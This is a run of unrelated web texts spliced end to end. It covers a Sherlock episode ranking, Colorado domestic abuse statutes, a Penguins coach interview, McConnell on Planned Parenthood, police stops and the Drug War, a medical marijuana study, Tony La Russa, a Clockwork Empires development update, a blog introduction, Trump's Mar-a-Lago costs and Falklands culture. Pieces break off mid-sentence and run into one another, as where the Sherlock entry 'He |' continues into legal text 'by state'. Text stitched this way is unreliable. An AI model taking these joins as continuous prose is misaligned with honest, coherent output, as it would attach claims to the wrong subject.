I will say, after the novelty of the joke Sherlock is playing on John at the end faded, it did somewhat rub me the wrong way. Sherlock seemed to be unnecessarily cruel there, where he normally is unfeeling. He typically does not actively seek to upset those around him for fun.
7. His Last Vow (S3:E3)
One of the worst decisions in the history of television was killing off the character of Moriarty so early in the series. Because of this, most villains fell somewhat flat in comparison. One of the few exceptions to this was Magnussen, who genuinely felt like a worthy adversary for our hero. He was nearly an intellectual equal, and felt cool and calculated, in contrast to the psychotic nature of Moriarty.
What was most effective about him was that he was the antithesis of the caricature Bond-esque villain with a cat in his lap that he pets with purposely evil strokes. He is simply a businessman with power as his goal. He isn’t maniacal, he isn’t intentionally malicious. His motivations are clear, and it makes for an engaging battle between two minds.
6. The Great Game (S1:E3)
The first episode that made Sherlock feel like a large scale epic rather than just about Sherlock and his adventures is the one that brought Moriarty to the forefront. I’m sure it’s not a shock to many of you that most of the episodes near the top of the list feature Moriarty as a focal point.
Andrew Scott as Moriarty and Benedict Cumberbatch may be two of the best casting choices in television. Both of them together create some of the most engaging and intriguing moments between a “hero” and “villain” ever put to the small screen. It isn’t just a battle between good and evil, but between two geniuses. This only works with superb dialogue to convince the audience of their intelligence, which it certainly does in this episode. Future Sherlock episodes actually used this episode as a blueprint of how to create an engaging episode, and it’s self-evident why.
It would’ve been so easy for the Moriarty character to devolve into a cringe-inducing nightmare for the series, because any character that is as over the top as the picture above can go wrong. Luckily, the creators struck gold with the casting, direction, and writing.
5. A Study in Pink (S1:E1)
A near flawless introduction to the series, a study in pink manages to do everything it needed to and more. I remember being introduced to the series, and being skeptical. Past adaptations of Sherlock Holmes hadn’t gone particularly well, and with it being in modern times I expected it to lose the charm of the original story. I was instantly proven wrong, with one of the best pilot episodes in television.
Intimate conflict is personally much more engaging, and after constant bombardment of world-ending scenarios from modern-day comic book adaptations, the one on one battle between the taxi driver and Sherlock was a breath of fresh air. I was on the edge of my seat from about halfway through the episode to the very end.
This episode was also the first to introduce the iconic editing and directing from the series. The slick utilization of text and direction together to bring us along through Sherlock’s mental processes gave us insight beyond what was initially possible in Sherlock adaptations.
It also gave ample backstory to the meetup between John Watson and Sherlock without dragging its feet. It managed to get to the action relatively quickly, while not feeling rushed. I can’t think of a way that this episode could have been a better kickoff to the series, and it still only reaches number 5. That should tell you all you need to know about the remaining 4 episodes.
4. A Scandal in Belgravia (S2:E1)
A fan favorite, this episode took the editing and direction mentioned in the previous entry and took it to the next level. The scene shown above depicts a marvelous journey into the mind of the detective, where he brings his…well…his love interest along with him. I know that isn’t exactly how the relationship works, but I only have a couple hundred words to communicate here. I’m sure you all know what I mean.
Anyways, he brings Irene Adler along through his mental imagery of the crime scene mentioned earlier in the episode. It is visually spectacular and builds upon both of the characters marvelously.
Additionally, “the woman” as she is referred to as in the show, created such a large buzz that fans begged for her return as far down the line as season 4. It is rare that a character has that large of an impact on an audience.
Finally, the conclusion of this episode was one of the most epic finales of all of the episodes, and it all happens while the characters are sitting on couches. They simply are talking, but the power struggle between Sherlock and Irene is tangible. When the answer to the locked phone ended up being “I am Sherlocked” I was so taken aback that I actually used that as a username for a decent amount of time online.
3. The Lying Detective (S4:E2)
After the somewhat disappointing premier of season 4, I wasn’t too excited for the future of the show. I had seen interviews where the creators mentioned it was going to be different, and darker, and while I had liked that in concept, it didn’t feel like it was going to pan out effectively. I’m glad to say I was horribly wrong, at least concerning this episode.
This is one of the absolute pinnacles of the entire series. The villain is the second best behind Moriarty, though, obviously nobody would be able to top him. He |
by state, but domestic violence is generally defined the crime of assault where the victim is a current or former spouse, parent, child, any person with whom the defendant has a child in common, a present or former household member, or a person who has or had a dating or engagement relationship with the defendant. A person may often be arrested for domestic violence without a warrant.
If a person abused by domestic violence decides not to have the abuser arrested, they may ask for a civil protective order that may order the abuser to stay away from and stop assaulting the person. Injunctions may also be issued to prevent the abuser from trespassing on certain property. The order is only effective if it has been served on the abuser.
Example of State statutes ( Colorado) defining Domestic abuse:
C.R.S. 13-14-101 [Colorado Revised Statutes, Title 13 courts and Court Procedure, Article 14 Civil Protection orders] defines Domestic Abuse as follows:
“***
(2) "Domestic abuse" means any act or threatened act of violence that is committed by any person against another person to whom the actor is currently or was formerly related, or with whom the actor is living or has lived in the same domicile, or with whom the actor is involved or has been involved in an intimate relationship. "Domestic abuse" may also include any act or threatened act of violence against the minor children of either of the parties.
****”
C.R.S. 10-3-1104.8 [ Colorado Revised Statutes; Title 10 Insurance; Article 3 Regulation of Insurance Companies]
“ As used in this section, unless the context otherwise requires:
(a) "Domestic abuse" means the occurrence of one or more of the following acts between family members, current or former household members, or persons who are or have been involved in an intimate relationship:
(I) Committing an act of unlawful sexual behavior, as described in part 4 of article 3 of title 18, C.R.S., or otherwise intentionally, knowingly, or recklessly causing or attempting to cause another person, including a minor, bodily injury or physical or psychological harm; or
(II) Knowingly engaging in repeated acts under circumstances that place the person toward which such acts are directed in reasonable fear of bodily injury or physical or psychological harm; or
(III) Subjecting another person to false imprisonment; or
(IV) Intentionally, knowingly, or recklessly causing or attempting to cause damage to property so as to intimidate or attempt to control the behavior of another person.
****”The Pittsburgh Penguins will have a new voice behind the bench next season after hiring Mike Johnston as the team's new head coach.
In an interview with Josh Yohe of the Tribune-Review, Johnston spoke about his initial meeting with superstar Sidney Crosby, and the criticism of the captain after another disappointing playoff result:
Whenever you're a new coach, you want to get to know the person before anything else. I know him a little bit because we're from the same place, but I wanted to know more. I wanted to know what he does in the summer, who he trains with, what he's up to. His program is so regimented, and he works so hard in the summer. I loved hearing about it. We talked about lots of things. We talked about what it was like for him to become a star at such a young age. That was interesting to me. I didn't get into the playoffs. I didn't ask him what went wrong. I watched those games as a spectator, and I will watch them again on tape soon. I'll develop my own impressions.
The new bench boss is also set to travel to Moscow to meet with Evgeni Malkin, saying "I want to get to know him. I think it's a good thing for a player who he gets to meet his new coach on his home turf."
Johnston added the following in regards to pressure on the organization to realize its dynastic potential:
I've never been one to focus on pressure. Pressure, for me, comes when I don't feel like I'm doing a good job — just like a player. Trust me, I will put more pressure on myself than anyone else ever will. No offense, but I don't really read the papers much. I trust my staff and the people I'm close with. You have to be true to yourself, true to your instincts. Just be who you are. That's what I'll do. I'm very excited about this.
The full interview can be read here.Senate Majority Leader Mitch McConnell sits for an interview with POLITICO. | M. Scott Mahaskey/POLITICO McConnell: Planned Parenthood funding protest 'exercise in futility' The Senate leader says he wants a 'clean' funding bill through December.
Senate Majority Leader Mitch McConnell said in an interview Friday he will back a plan to fund the government into December with no conditions, rejecting in his strongest terms yet calls from within his party to defund Planned Parenthood as part of a larger budget bill.
“It’s an exercise in futility," the Kentucky Republican said of a strategy that would likely provoke a government shutdown. "I’m anxious to defund Planned Parenthood" but "the honest answer of that is that’s not going to happen until you have a president who has a similar view."
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"It’s better to be honest with the American people and say, ‘That won’t get it done,’” he added.
The Senate leader's bow to political reality further sets up an end-of-month clash with congressional conservatives that could potentially shutter the government over Planned Parenthood funding. Instead, he plans to pursue a two-pronged strategy: A short-term funding bill to buy time to negotiate a longer-term spending measure, and separately, a vote this month to federally ban abortions after 20 weeks of pregnancy.
The GOP leader said in the interview on Friday that while he’d “love to be able to defund Planned Parenthood” after the release of secretly taped videos that allegedly show group officials discussing sales of fetal tissue, he’s got a math problem: A Democratic minority that will block any such effort and a president that would veto it even if it could pass the Senate.
“Senate Democrats have refused to let us pass any of the 12 appropriations bills,” McConnell said. “What we’re going to do is fund the government into the end of the year and it will obviously have to be something that could get a presidential signature. So there’s no way you can avoid talking to each other about how to get there.”
Asked if that short-term bill would contain any language affecting Planned Parenthood or the nuclear deal with Iran that’s now safe from the GOP’s attacks, McConnell said: “We’re going to take a look at whatever the House sends us.”
But the Kentucky Republican said a strategy being promoted by Sen. Ted Cruz (R-Texas) and a growing bloc of House conservatives that would oppose any spending bill that funds Planned Parenthood is “misleading people into thinking it’s possible” to strip the organization of funding. That proposal can’t pass the Senate’s 60-vote threshold and even a government shutdown would still keep most funds flowing the women’s healthcare organization.
Though the 20-week abortion ban proposal is likely to fail due to broad Democratic opposition, McConnell and anti-abortion groups believe it’s a better option than risking a shutdown. McConnell seemed unconcerned with the increasingly strident attacks on him from Cruz, who says the GOP is pursuing a “meaningless show vote” and has compared McConnell to Senate Minority Leader Harry Reid (D-Nev.).
“Groups who deeply are concerned about the issue realize this [Planned Parenthood strategy] isn’t going to get that done,” McConnell said. “What we are going to do is move to the pain-capable [abortion] bill sometime this month and see how people feel about that,” he added, referring to the 20-week bill.
McConnell gave no indication that he’s begun speaking with the Obama administration on a larger budget deal. The Republican leader said he’s talking to President Barack Obama significantly less often than during the Senate’s arduous passage of free-trade legislation earlier this year, which marked perhaps the peak level of cooperation between the majority leader and the president during their seven-year governing relationship.
Senate Democrats have been asking McConnell for months to begin serious budget talks with them, an opportunity that by all accounts the GOP leader has spurned. He said there will be “plenty of time to talk” in October and November after avoiding the latest shutdown threat on Oct. 1, but Democrats immediately blasted him for punting.
“This is yet another Republican-manufactured crisis straight out of Senator McConnell's playbook," said Kristen Orthman, a spokeswoman for Reid. "Instead of wasting his time trying to blame Democrats for his own management failures, Senator McConnell should finally take us up on our offer to sit down and negotiate. Better late than never."Before a police shooting makes headlines, before the shooting ever happens, there is the moment of contact between the police officer and the eventual victim. Sometimes the officer is responding to a dangerous situation, like a report of a man with a gun. Other times, the contact is initiated by the officer because of excessive speeding or reckless driving that poses a risk to other drivers. And sometimes the reason for the contact is an officer’s legally baseless hunch and a minor violation of a traffic law—like a burned out taillight—that escalates into an unnecessary tragedy. This last type of contact is what led to the shooting death of Philando Castile in a Minneapolis-St. Paul suburb.
American policing today has become increasingly aggressive and, at times, even predatory. Policies and tactics have evolved to make police contact more confrontational. In so doing, they have increased the chances of violence and fatal uses of force. This has been particularly true of efforts aimed at fighting the Drug War. Police are incentivized to initiate unnecessary contact with pedestrians and motorists, and they do so most often against ethnic and racial minorities. Such over-policing engenders resentment among minority communities and jeopardizes public safety.
Some of the Drug War’s most disturbing images involve police officers in SWAT gear, kicking down doors, ransacking homes and endangering the lives of everyone inside during pre-dawn raids. Officers rummaging through a car for drug contraband while the driver sits helplessly on the sidewalk as onlookers drive by may be less violent, but is just as invasive and degrading. This experience can be humiliating under any circumstance, and any perception of race as playing a role in the stop piles resentment on top of humiliation.
The “pretextual” or “investigatory” stop is a common police tactic to investigate potential criminal activity—particularly drug possession and trafficking—in situations where there is no legal reason to suspect a crime is occurring. There is not a large amount of data on how often these stops produce contraband seizures, but what data there is suggests that the overwhelming majority of people who are stopped are guilty of no crime. Much like the pedestrian stops during the heyday of New York City’s “Stop and Frisk” program, most of the motorists stopped for investigatory purposes are black or Hispanic. Those who are stopped are often pressured to give consent to a search the officer has no legal right to demand.
There is evidence that some police departments, particularly state police and drug task forces in the American interior, target motorists with out-of-state plates in the hopes of finding drug proceeds and other unexplained cash. Cash-driven interdiction is the result of asset forfeiture laws that allow police departments to keep the proceeds of assets seized in connection with suspected crimes. This “policing for profit” puts budgetary concerns above public safety.
Officers are also trained to prepare for the possibility of violence in every encounter. Anti-police attacks such as the recent tragedies in Dallas and Baton Rouge heighten the fear and trepidation some officers feel in the field. While fewer police officers are feloniously killed in the line of duty per year than at almost any time in American history, officers who find themselves in stressful situations may be more likely to resort to the use of force, including deadly force, in order to maintain their sense of control during such encounters.
In short, the laws and tactics employed to fight the Drug War have transformed police officers from those who protect and serve to a force that, too often, actively searches the innocent and seizes for profit. Aggressive and antagonistic policing also increases the likelihood of disagreement, thereby increasing the possibility of escalation and the use of force that could lead to the injury or death of an innocent person. But the effects of aggressive policing extend beyond the outcome of any given police stop.
Although a majority of Americans express a “great deal” or “quite a lot” of confidence in the police, the same is not true across all racial and ethnic lines. Less than one-third of black respondents to a Gallup poll expressed a large amount of confidence in the police. And while a majority of Hispanics still have a lot of confidence in the police, just over 40 percent of other nonwhites do. Research by Charles Epp and others at the University of Kansas shows that support for police declines when individuals and the people they know have negative police experiences, particularly through investigatory stops.
This lack of confidence in the police can endanger communities. As Jill Leovy documented in her book Ghettoside, the poor relationships officers have with black Los Angelenos hinders homicide clearance rates and prosecutions. At the same time, the “broken windows” policing strategy that focuses on heavy enforcement of petty crimes has been shown to have no effect on the felony crime rate, the premise on which the strategy is based. Together, these create a tragic contradiction in which black communities are over-policed for drugs and petty crimes, but under-policed for homicides and other violent crimes.
Criminologists Cynthia Lum and Daniel Nagin argue that, as a foundational principle, policymakers should reorient policing toward crime prevention rather than arrest maximization. One way to do that would be to curb the use of pretextual stops, which could reduce community-police tension and, therefore, reduce the opportunities for unnecessary tragedies that claim the lives of people like Philando Castile. Another option is to end the policing for profit motive by decoupling asset forfeiture proceeds from law enforcement agency coffers. And finally, law enforcement resources should be pulled away from fighting the unwinnable Drug War and redirected toward general public safety.
Until we fundamentally change how America’s police operate, we will continue to suffer from police violence, and all the problems that it creates and represents.A government-sponsored study published recently in The Open Neurology Journal concludes that marijuana provides much-needed relief to some chronic pain sufferers and that more clinical trials are desperately needed, utterly destroying the U.S. Drug Enforcement Agency’s (DEA) classification of the drug as having no medical uses.
While numerous prior studies have shown marijuana’s usefulness for a host of medical conditions, none have ever gone directly at the DEA’s placement of marijuana atop the schedule of controlled substances. This study, sponsored by the State of California and conducted at the University of California Center for Medicinal Cannabis Research, does precisely that, driving a stake into the heart of America’s continued war on marijuana users by calling the Schedule I placement simply “not accurate” and “not tenable.”
Reacting to the study, Paul Armentano, director of the National Organization for the Reform of Marijuana Laws (NORML), told Raw Story that the study clearly proves U.S. drug policy “is neither based upon nor guided by science.”
“In fact, it is hostile to science,” he said. “And despite the Obama Administration’s well publicized 2009 memo stating, ‘Science and the scientific process must inform and guide decisions of my Administration,’ there is little to no evidence indicating that the federal government’s ‘See no evil; hear no evil’ approach to cannabis policy is not changing any time soon.”
Schedule I is supposedly reserved for the most inebriating substances that the DEA believes have no medical value, including LSD, ecstasy, peyote and heroin.* As the DEA describes it: “Drugs listed in schedule I have no currently accepted medical use in treatment in the United States and, therefore, may not be prescribed, administered, or dispensed for medical use. In contrast, drugs listed in schedules II-V have some accepted medical use and may be prescribed, administered, or dispensed for medical use.”
And that’s the problem, the study’s authors portend.
“The classification of marijuana as a Schedule I drug as well as the continuing controversy as to whether or not cannabis is of medical value are obstacles to medical progress in this area,” they wrote. “Based on evidence currently available the Schedule I classification is not tenable; it is not accurate that cannabis has no medical value, or that information on safety is lacking. It is true cannabis has some abuse potential, but its profile more closely resembles drugs in Schedule III (where codeine and dronabinol are listed). The continuing conflict between scientific evidence and political ideology will hopefully be reconciled in a judicious manner.”
They add that their evidence showed marijuana reliably reduced chronic neuropathic pain and muscle spasticity due to multiple sclerosis versus trials where a placebo was used. They also specifically tested marijuana’s effects when smoked, calling the delivery method “rapid and efficient” but noting that vaporization is a better choice because it produces less carbon monoxide.
The study adds that, like all medicines, there are negative side effects associated with marijuana, such as dizziness, fatigue, lightheadedness, muscle weakness and pain and heart palpitations — all of which can pose a risk in some chronic pain patients with co-occurring conditions like cardiovascular disease or substance abuse disorders. However, they call these side effects “dose-related” and “of mild to moderate severity,” adding that they “appear to decline over time, and are reported less frequently in experienced than in naïve users.” Researchers also noted that “fatal overdose with cannabis alone has not been reported.”
Authors additionally found that marijuana does cause withdrawal symptoms within 12 hours of use, noting the symptoms are mild in experienced users and typically abate within 72 hours. They added that ingesting marijuana “can acutely impair skills required to drive motor vehicles,” but noted that the data on marijuana and traffic accidents is “inconclusive.”
Ultimately, they concluded that more clinical trials are needed to determine which individual components of the marijuana plant are causing the medicinal effects, and whether the plant can be used to treat a host of other ailments.
“Medical marijuana is mostly used for chronic pain, and has enabled countless patients to either reduce or eliminate their pharmaceutical drug regimen,” Kris Hermes, a spokesman for Americans for Safe Access (ASA), one of the nation’s leading medical marijuana advocacy groups, told Raw Story. “However, it can also be used for: arthritis, nausea or as an appetite stimulant for people living with HIV/AIDS or cancer, gastrointestinal disorders, and movement disorders (not just for people with multiple sclerosis). That is only a sampling of health conditions for which cannabis has been found helpful in alleviating symptoms. Other health conditions include: [post-traumatic stress disorder], [attention deficit disorder], [attention deficit hyperactivity disorder] and other mental health conditions, glaucoma, and migraines.”
In hopes of forcing recognition of marijuana’s medical value, ASA sued the federal government last year after a long-running appeal for the reclassification of marijuana was shot down nearly a decade after it was filed. That case should go before the U.S. Court of Appeals District of Columbia Circuit later this year.
“The federal government’s strategy has been delay, delay, delay,” ASA chief counsel Joe Elford said in an advisory. “It is far past time for the government to answer our rescheduling petition, but unfortunately we’ve been forced to go to court in order to get resolution.”
“Reform advocates can and should use this study to show their congressional representatives that our country’s leading medical marijuana researchers agree that it should be reclassified,” Hermes added. “…This certainly should also have a bearing on the D.C. Circuit’s deliberations in the appeal of the rescheduling petition denial.”
Medical marijuana is currently legal in just 17 states and Washington, D.C.
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*Clarification: Scientific studies have shown LSD, ecstasy, peyote and heroin also have some limited medical value, which the DEA has refused to recognize.
Photo: Shutterstock.com, all rights reserved.Other than the All-Star game last season, Tony La Russa hasn't managed a baseball game since Game Seven of the 2011 World Series. Of all the stories about that crazy 2011 season -- and I remind that the Cardinals were considered to be toast as late as late August, to the point they were considering trading Lance Berkman to the Rangers after the deadline "with the Cardinals going nowhere" -- the craziest to be has always been that La Russa had told the Cardinals (if not his players) midway through the year that he planned to retire when the season was over. Tony La Russa cared more about winning than any manager I've ever seen, and his final season ended with one of the most amazing comebacks in baseball history, with La Russa secretly knowing this was going to be it for him. La Russa must have felt like he could bend time.
I know that La Russa, even a year-and-a-half into retirement, is extremely polarizing among baseball fans. (See our own Emma Span's review of La Russa's book.) He is even polarizing among Cardinals fans, and he won us two World Series. The thing that I loved more than anything about Tony La Russa was that he was the only person I knew who took Cardinals losses harder than I did. He often did this in a cranky, antagonistic, self-aggrandizing way, but you never doubted that it was in service of attempting to get better. Let there be no doubt, though: La Russa was not easy to love, even if he was your manager.
La Russa wanted to win in a way that few people want to do anything. He never looked content or relaxed, ever -- I saw him smile four times as manager of the Cardinals; when Rick Ankiel homered in his first game back in 2007, when David Freese hit that triple in Game Six and the two times he won the Series -- and his overpowering desire for control, power and, mostly, success was so oppressive it sometimes made it difficult to be happy for him. When the Cardinals won, fans cheered, but it wasn't freeing; it felt like getting an A on a test after your father locked you in a closet and screamed "STUDY, DAMN YOU!" for eight hours. By the end, as much as La Russa had done for the Cardinals, his methods were starting to calcify, and fans were a bit tired of him, the way you're tired of a family member: You loved him and you knew he'll be around forever … but if he decided to move out of town or maybe skip next Thanksgiving, that'd be OK too. Of course, then La Russa won the World Series, and we all pretended we'd never had any of these thoughts. We just retired his number, and all those thoughts went away.
Tony La Russa is a Hall of Famer, and a baseball innovator. He is by all accounts a nicer man that is popularly considered, and a terrific baseball mind. His number, retired by the Cardinals, will be on the wall of Busch Stadium until the end of time. But I'm not sure the game, as it is right now, misses him.
The game itself isn't constructed right now in a way that has much room for La Russas of the world. Baseball doesn't value dictatorial managers these days. Managers aren't the captains of the ship anymore; they're middle managers, almost bureaucratic, carrying out the orders of increasingly powerful (and wonky) front offices, mostly there to keep a pleasant clubhouse atmosphere, not destroy any young pitchers' arms and serve as the team's public representative, answering media questions and doing local car dealer ads. (Apparently you don't even need to know basic rules and strategy.)
In the NFL and the NBA, you can legitimately outcoach the opponent and gain a decisive advantage; in baseball, it's not so easy, and oftentimes you're just pulling strings for no reason other than to slow the game down and make yourself look busy. It's just a different game today, and the mind games that were La Russa's forte, the grinding, win-at-any-cost, play-the-game-the-right-way, play-a-hard-nine gritty/gutty/spunky/feisty Joe-McEwing-ism aren't just valued less these days, they're often laughed at. (This tradition is mostly being carried on by Kirk Gibson, the San Francisco Giants' front office and every person who talks to me about baseball on television.) It's a league of wonks, and it's worth noting that two of the people who La Russa famously clashed with as manager of the Cardinals (general manager John Mozeliak and director of scouting Jeff Luhnow) are currently two of the most powerful, emulated people in the game. The La Russa style just isn't in vogue now.
Related Articles He's Grrreat! (Really, He'll Tell You.) Tony La Russa has won three World Series trophies, six pennants, four Manager of the Year awards and 2,728 total… More»
Baseball's Breakout Candidates There won't be a Bryce Harper or Mike Trout in baseball this year. But between Shelby Miller, Travis d'Arnaud,… More» It's not like La Russa's influence is gone or anything. Quite the opposite, of course: The specialization of relief pitchers, the obsession with every little detail (typically more from the front office than the dugout now, but still), the unconventional work on the margins by innovative managers looking for every tiny edge. (Temperamentally, Joe Maddon might seem the opposite of La Russa, but everything we compliment Maddon for now is what we were lauding about La Russa in the late '80s.) But it's now all on the margins: The real work is being done by the scouting, player development and advanced analytics departments, not by the managers. That Mike Scioscia is currently in danger in Anaheim is telling; Scioscia was the only manager, save maybe Jim Leyland, whose power could rival La Russa's, but it has inevitably eroded. We don't want the managers to have the power. The game doesn't quite work right that way anymore.
And La Russa, as much as anything other than winning, was about power. I don't think I'd want La Russa to be a middle manager any more than he would. La Russa was Bobby Knight and Bill Parcells and Coach K in a sport that has no room for anyone like that anymore. That's just not the model now. The Cardinals' manager now is Mike Matheny, a man who has certain strategic deficiencies (insistence on rigid bullpen roles, a fatal attraction to the sacrifice bunt) but is clearly adored by his players, respected by fans and media and projects an air of authority and calm. Heck, he even smiles occasionally. Is Matheny a better manager than La Russa? Probably not. But he's more apt for a franchise that's focusing on youth and, more important, on the front office being in control of all personnel matters. Matheny is a front man, and I think he might be a terrific one. (He's certainly getting results.) Tony La Russa could never be a front man.
I'm hesitant to give too much to the La Russa detractors here: He not only won two titles for the Cardinals, he changed the whole culture of an organization that had been reeling since Whitey Herzog had left. La Russa's imprint on the Cardinals is still obvious every day, from Yadier Molina, to Matt Carpenter moving to second base, to Chris Carpenter, who might be the living embodiment of the LaRussian ethos. He's one of the best managers in baseball history and deserves every plaudit he's ever received. I just don't think baseball is a game for great managers anymore; they're important, but not vital. La Russa demanded that he be vital. La Russa has said repeatedly since his retirement that he has no interest in coming back to the diamond. Looking at the landscape, it's difficult not to see why. I hope he stays away too, for his sake, and for the game's. There's no room in baseball for someone as big as Tony La Russa anymore. This is to the game's detriment, and its benefit.
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Email me at leitch@sportsonearth.com, follow me @williamfleitch or just shout out your window real loud, I'll hear you. Point is, let's talk.So January! Hello! We’ve been working on Clockwork Empires for – I feel safe to say now – a fairly long time. There’s a lot of code in there, and you guys haven’t been able to play it yet. We all wish that weren’t the case, so I guess I should tell you what we’re doing about it.
Mid-December to the present was mostly a write-off due to familial obligations, plague, and stress relief in various forms, but some secret work was undertaken on the dreaded UI. It was sort of like that montage in the Lord of the Rings where Gandalf leaves in the middle of the battle to go read some dusty scrolls in Gondor, except that was David, and it was a copy of The Elements of User Experience. Suffice it to say that things are looking much better in that department. Our loose framework of “technically sufficient” programmer tools are starting to actually indicate what they’re for. It’s pretty cool, and a surprisingly laborious and meticulous job.
Testing Update
In terms of the 5 or 6 builds that we sent out into the wild in November (?), that was mostly a trial run to test various people’s hardware. The core fundamentals of what make a game “fun” weren’t really there, so you don’t have to feel to bad about not being subjected to our experiment. That core reward mechanism is something that we’ve also been working to hook up and get people iterating on over the last month or so. It consists of having a conflict, tools for the player to solve it in different ways, rewards for resolving conflicts, and characters unsuccessfully trying to lead normal lives while considering your strange demands.
Conflicts
The conflicts exist, but they’re not particularly nuanced at the moment. We have, however, built a wonderful system for putting in events which can cause all sorts of conflicts. Right now there are three events enabled: immigration, a Crate of Science, and attacking fishpeople. So, well, that’s pretty self-explanatory. You receive new settlers on some sort of arbitrary schedule. If you don’t feed them, they die; if you don’t house them, they go mad and kill each other; if you don’t arm them, they get demolished by fish people.
Occasionally Lord Palmerstoke will try to drop off a crate of science for you to guard; it will eventually be attacked by Ned Kelly bandits.
Tools
The tools to solve the conflicts exist, but we’re iterating on making them intuitive and varied.
The building creator is still closer to the “technically functional” end of the previously mentioned scale. You can build a really interesting and varied set of building footprints, they have lovely hip-style roofs and wallpaper and steps, and you can place the required modules such as furnaces, tables and doors. There are a couple of very minor issues with the rendering of these things (tiny gaps in the roof, some bugs with punching holes), but these aren’t unsolved problems, they’re just low on the list. The characters don’t care. The tools that allow a player to designate where decorative items like pictures of Uncle Bernard, or the wingback chair by the fireplace, or the fireplace, do “exist” but aren’t hooked up because – well, at the moment we don’t care if the characters have nice things. We will, don’t worry.
The tools for the harvesting and converting of commodities are also heavily in the “functional” camp. Players can designate a mining site or a farming zone, but a connection between a chosen site and the environment is not yet hooked up to an environmental sense of fertility or a geological model (soil fertility exists in-game at this time as it needed to be there for biome generation, but the geological models are still on napkins). Likewise the tools for designating forests for chopping exist, but there’s currently no effective regulation on what trees they chop, so if there’s a contiguous patch of forest that leads to the edge of the map, your lumberjacks turn into your vanguard. In some cases I’m sure that’s fine, but we don’t really encourage that.
The characters can collect the ores and raw timber and turn them into buildings and guns and a few other things, but the tools for doing so are being refined as we’re adding more content to them. It’s a slow process as each added item adds to the economy, which needs to be done carefully.
Character Simulation
The characters do try to lead normal lives, but we’re having to spend a not-insignificant amount of time making their normal roughly the same as person’s normal (even a fictional person):
Some things that are interesting but neurotic happen so often they’re no longer interesting, like losing loved ones to starvation (desensitization is weird).
There’s also some really neat stuff going on that we’re not doing a very good job of making apparent yet, which is about as useless as possible, because it actually hurts the experience in many cases. For example, characters now decide how they’re feeling based on what they actually remember, which is not always what has actually happened to them. Psychologically, anyway: if they forget they have a broken leg, it’s still broken.
Character description windows can give you some idea of what they do remember, but the visual cues need work. If you’re not really aware of what’s going on, this just looks like an infuriating bug when alcohol use changes peoples’ emotional states by causing them to forget good or bad things. This system needs more content as well, so the number of things a character can feel based on memories they have feels less binary.
So I guess that brings me to what we’re doing now.
Networking: Micah is hard at work getting networking parallelism working, but at the moment the game will run for ten or twenty without having any issues on our local network. Our first target with the networking is to have multiple players controlling one settlement simultaneously. From there, we need to make it capable of handling dropped packets and all that real-world stuff, and then we’ll be moving on to players with their own settlements. Two-player simultaneous play is in our sights for February.
The plan for player-controlled tools is simply this: A player should be able to designate adornments for a house, then have the carpenter and her workers rouse themselves from sweeping floors and poring over ledgers to construct some chairs, have some common laborers haul them to the house and install them, and have the owner of the house then be able to sit in a chair, staring at a fireplace, brooding, like something out of a Dostoyevsky novel.
The plan for UI: A new player should be able to figure out how to do all of these things without us saying “well of course it’s the triangle with the eye in it followed by the two wavy lines and the stork”. Oh, and a mini-map.
The plan for combat: Bullets should not be magical white beams that look like a Tron-era data upload, and we should have ailments for people that can give us a reason to have all these jars of leeches.
The plan for the Economics system: is for the harvesting of the wood and the creation of the chair to take amounts of time that have the right feel for the pacing we’re after. No more three swings of a hammer to build a building, 3 chops of an axe to fell the largest of trees.
Oh, and hooking up dynamics lines, and attaching giant steam distributors to buildings to make all that go faster. Except maybe the axes. Hmmm…Hi everyone and thanks for visiting.
First, a confession: This blog is the result of a lot of thinking and very little action on my part.
For a long time I’ve wanted to create a space where I can put down my daily thoughts on media, culture, business, technology, productivity, entrepreneurship and innovation, and I’m really excited to be finally putting the task to action.
I work in digital marketing (namely social media) and I’m surrounded daily by enthusiastic people and great quality content from around the web.
I’m currently taking a couple of weeks off work so I’ve finally overcome the procrastination monster and given this project the headspace it requires. I hope you can drop in and have a read every now and then, whether it be through this URL or from my Twitter account, @chrispahor.
Procrastination is something that stops me from doing a lot of things — how about you?
One of the best pieces of advice I’ve received to keep myself on track and beat procrastination was from Melbourne blogger Darren Rowse.
He keeps a sign in front of his desk which says something like:
What are you doing now? Do you need to be doing that? Really?
It’s a modicum that didn’t start clicking for me until I found myself heading to Facebook, Twitter, Reddit, Instagram, emails… just about anything instead of doing what I was supposed to do.
Then I started asking myself the above questions as often as I could, and ashamedly more often than not hen answer was ‘no, I don’t need to be doing this’.
Once I realised that social media sites, particularly Facebook, are solely designed to keep me stimulated and increase the time I spend/waste consuming their content, it was amazing how my brain started to avoid them in favour of focusing on something productive.
It took a while to hone this ‘avoidance’ skill, and it has been extremely hard to turn off to social media given the nature of my professional work, but now I feel a little internal ‘win’ every time I forego these time-suckers and cross something off my To-Do list instead.
I’m certainly not free of the procrastination monster yet, and I’m interested to hear what you do to keep yourself on track? Just jump in to the comments below.
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image: Jennifer ChongHe may have dubbed it the "Winter White House", but Donald Trump's trips to his Mar-a-Lago resort in Florida could be costing the US taxpayer more than $3 million (£2.4m) per visit.
A 2013 trip by President Obama to nearby Palm Beach via Chicago cost an estimated $3.6million (£2.8m), according to an estimate by the Government Accounting Office.
Along with the security costs, flights for Mr Trump, his family and his staff, the bill would likely include expenses for the Coast Guard to patrol exposed shoreline - which Mar-a-Lago also backs on to.
We’ll tell you what’s true. You can form your own view. From 15p €0.18 $0.18 $0.27 a day, more exclusives, analysis and extras.
Local police have also reportedly spent $360,000 (£288,800) on officers overtime, on the three weekend visits Mr Trump has |
for children of service personnel) and a number of rural settlements. Secondary education is only available in Stanley, which offers boarding facilities and 12 subjects to General Certificate of Secondary Education (GCSE) level. Students aged 16 or older may study at colleges in England for their GCE Advanced Level or vocational qualifications. The Falkland Islands government pays for older students to attend institutions of higher education, usually in the United Kingdom.[141]
Culture
Gauchos from mainland South America, such as these two men having mate at Hope Place in East Falkland, influenced the local dialect
Falklands culture is based on the cultural traditions of its British settlers. It has also been influenced by Hispanic South America. Falklanders still use some terms and place names from the former Gaucho inhabitants. The Falklands' predominant and official language is English, with the foremost dialect being British English; nonetheless, inhabitants also speak Spanish and other languages. According to naturalist Will Wagstaff, "the Falkland Islands are a very social place, and stopping for a chat is a way of life".
The islands have two weekly newspapers: Teaberry Express and The Penguin News, and television and radio broadcasts generally feature programming from the United Kingdom. Wagstaff describes local cuisine as "very British in character with much use made of the homegrown vegetables, local lamb, mutton, beef, and fish". Common between meals are "home made cakes and biscuits with tea or coffee". Social activities are, according to Wagstaff, "typical of that of a small British town with a variety of clubs and organisations covering many aspects of community life".
See also
Notes
